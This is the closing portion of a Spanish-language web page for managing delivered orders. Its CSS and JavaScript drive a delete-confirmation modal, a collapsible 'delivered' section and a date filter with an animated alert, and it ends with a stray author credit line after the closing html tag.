opacity: 0; will-change: max-height, opacity; } #entregados-container.mostrar { display: grid !important; max-height: 2000px; opacity: 1; transition: max-height 0.55s cubic-bezier(.4,2,.6,1), opacity 0.35s; } .flecha-entregados.rebote svg { animation: reboteFlecha 0.4s cubic-bezier(.4,2,.6,1); } @keyframes reboteFlecha { 0% { transform: scale(1) rotate(0deg); } 30% { transform: scale(1.25,0.85) rotate(0deg); } 60% { transform: scale(0.95,1.1) rotate(0deg); } 100% { transform: scale(1) rotate(0deg); } } /* Asegura que el calendario de flatpickr esté siempre por encima */ .flatpickr-calendar { z-index: 99999 !important; } </style> <!-- MODAL DE CONFIRMACIÓN PARA ELIMINAR --> <style> #modal-confirm { display: none; position: fixed; z-index: 9999; left: 0; top: 0; width: 100vw; height: 100vh; background: rgba(0,0,0,0.25); align-items: center; justify-content: center; } #modal-confirm .modal-box { background: #fff; border-radius: 18px; box-shadow: 0 8px 32px rgba(0,0,0,0.18); padding: 38px 32px 28px 32px; max-width: 95vw; width: 370px; text-align: center; animation: modalIn 0.22s cubic-bezier(.4,2,.6,1); } @keyframes modalIn { from { transform: scale(0.85); opacity: 0; } to { transform: scale(1); opacity: 1; } } #modal-confirm .modal-title { font-size: 1.45rem; font-weight: 900; color: #c0392b; margin-bottom: 18px; } #modal-confirm .modal-msg { font-size: 1.13rem; color: #222; margin-bottom: 28px; } #modal-confirm .modal-btns { display: flex; gap: 18px; justify-content: center; } #modal-confirm .btn-cancel { background: #eee; color: #222; border: none; border-radius: 8px; padding: 10px 22px; font-size: 1.08rem; font-weight: 700; cursor: pointer; transition: background 0.18s; } #modal-confirm .btn-cancel:hover { background: #ddd; } #modal-confirm .btn-confirm { background: linear-gradient(90deg,#ff5858 0%,#ffb199 100%); color: #fff; border: none; border-radius: 8px; padding: 10px 22px; font-size: 1.08rem; font-weight: 900; cursor: pointer; box-shadow: 0 2px 8px rgba(255,88,88,0.10); transition: background 0.18s; } #modal-confirm .btn-confirm:hover { background: linear-gradient(90deg,#ff5858 60%,#ff5858 100%); } </style> <div id="modal-confirm"> <div class="modal-box"> <div class="modal-title"><i class="fa fa-exclamation-triangle"></i> Confirmar eliminación</div> <div class="modal-msg">¿Estás seguro de que deseas eliminar este mensaje? Esta acción <b>no se puede deshacer</b>.</div> <div class="modal-btns"> <button class="btn-cancel">Cancelar</button> <button class="btn-confirm">Eliminar</button> </div> </div> </div> <script> // Interceptar todos los botones de eliminar const modal = document.getElementById('modal-confirm'); let eliminarHref = null; document.querySelectorAll('.box.pedido-card a.delete-btn').forEach(btn => { btn.addEventListener('click', function(e) { e.preventDefault(); eliminarHref = this.getAttribute('href'); modal.style.display = 'flex'; }); }); modal.querySelector('.btn-cancel').onclick = function() { modal.style.display = 'none'; eliminarHref = null; }; modal.querySelector('.btn-confirm').onclick = function() { if(eliminarHref) window.location.href = eliminarHref; }; // Cerrar modal con ESC o click fuera window.addEventListener('keydown', function(e){ if(e.key === 'Escape') { modal.style.display = 'none'; eliminarHref = null; } }); modal.addEventListener('click', function(e){ if(e.target === modal) { modal.style.display = 'none'; eliminarHref = null; } }); </script> <script> document.addEventListener('DOMContentLoaded', function() { const titulo = document.getElementById('toggle-entregados'); const contenedor = document.getElementById('entregados-container'); const flecha = document.getElementById('flecha-entregados'); let abierto = false; function toggleEntregados() { abierto = !abierto; if (abierto) { contenedor.classList.add('mostrar'); flecha.classList.add('abierta'); flecha.classList.add('rebote'); setTimeout(()=>flecha.classList.remove('rebote'), 400); } else { contenedor.classList.remove('mostrar'); flecha.classList.remove('abierta'); } } // Ocultar por defecto contenedor.classList.remove('mostrar'); flecha.classList.remove('abierta'); // Click en el título o la flecha titulo.addEventListener('click', toggleEntregados); }); </script> <script> document.addEventListener('DOMContentLoaded', function() { // --- FILTRO POR FECHA PARA ENTREGADOS CON BOTÓN --- const inputFecha = document.getElementById('filtro-fecha-entregados'); const btnBuscar = document.getElementById('btn-buscar-fecha-entregados'); if(inputFecha && btnBuscar) { btnBuscar.addEventListener('click', function() { const fecha = inputFecha.value; const cards = document.querySelectorAll('#entregados-container .box.pedido-card'); let visibles = 0; if(!fecha) { cards.forEach(card => { card.style.display = ''; visibles++; }); return; } // Buscar fecha tipo 23/05/2024 en cualquier parte del texto, aunque tenga hora después cards.forEach(card => { const badge = card.querySelector('.badge-fecha-hora'); if(!badge) { card.style.display = ''; visibles++; return; } const texto = badge.textContent.trim(); // Buscar fecha tipo 23/05/2024 aunque tenga hora después const match = texto.match(/(\d{2})\/(\d{2})\/(\d{4})/); if(match) { // Convertir a yyyy-mm-dd const fechaCard = `${match[3]}-${match[2]}-${match[1]}`; if(fechaCard === fecha) { card.style.display = ''; visibles++; } else { card.style.display = 'none'; } } else { card.style.display = ''; visibles++; } }); btnBuscar.classList.add('buscando'); setTimeout(()=>btnBuscar.classList.remove('buscando'), 350); // ALERTA SORPRESA si no hay visibles if(visibles === 0) { mostrarAlertaSinRegistros(fecha); } }); } // Función para mostrar alerta animada y llamativa function mostrarAlertaSinRegistros(fecha) { // Si ya existe, no crear otra if(document.getElementById('alerta-sin-registros')) return; const alerta = document.createElement('div'); alerta.id = 'alerta-sin-registros'; alerta.innerHTML = ` <span style="font-size:2.2rem;">📅</span><br> <b style="font-size:1.18rem;">¡No hay pedidos entregados!</b><br> <span style="font-size:1.05rem;">No se encontraron registros para el <b>${formatearFechaBonita(fecha)}</b></span> `; Object.assign(alerta.style, { position: 'fixed', top: '32px', left: 0, right: 0, margin: '0 auto', maxWidth: '95vw', width: '370px', background: 'linear-gradient(90deg,#fffbe7 0%,#eafff2 100%)', color: '#27ae60', border: '2.5px solid #27ae60', borderRadius: '18px', boxShadow: '0 8px 32px rgba(39,174,96,0.13)', padding: '28px 38px', zIndex: 99999, textAlign: 'center', fontWeight: '900', fontFamily: 'Segoe UI, Arial, sans-serif', fontSize: '1.15rem', animation: 'popInAlerta 0.7s cubic-bezier(.4,2,.6,1)' }); document.body.appendChild(alerta); setTimeout(()=>{ alerta.style.transition = 'opacity 0.5s'; alerta.style.opacity = 0; setTimeout(()=>{ alerta.remove(); }, 600); }, 3500); } // Formatea yyyy-mm-dd a dd/mm/yyyy function formatearFechaBonita(fecha) { if(!fecha) return ''; const [y,m,d] = fecha.split('-'); return `${d}/${m}/${y}`; } // Animación para la alerta const style = document.createElement('style'); style.innerHTML = `@keyframes popInAlerta { from { opacity: 0; transform: scale(0.92) translateY(-18px); } to { opacity: 1; transform: scale(1) translateY(0); } }`; document.head.appendChild(style); }); </script> </body> </html>
Coded With 💗 by
0x6ick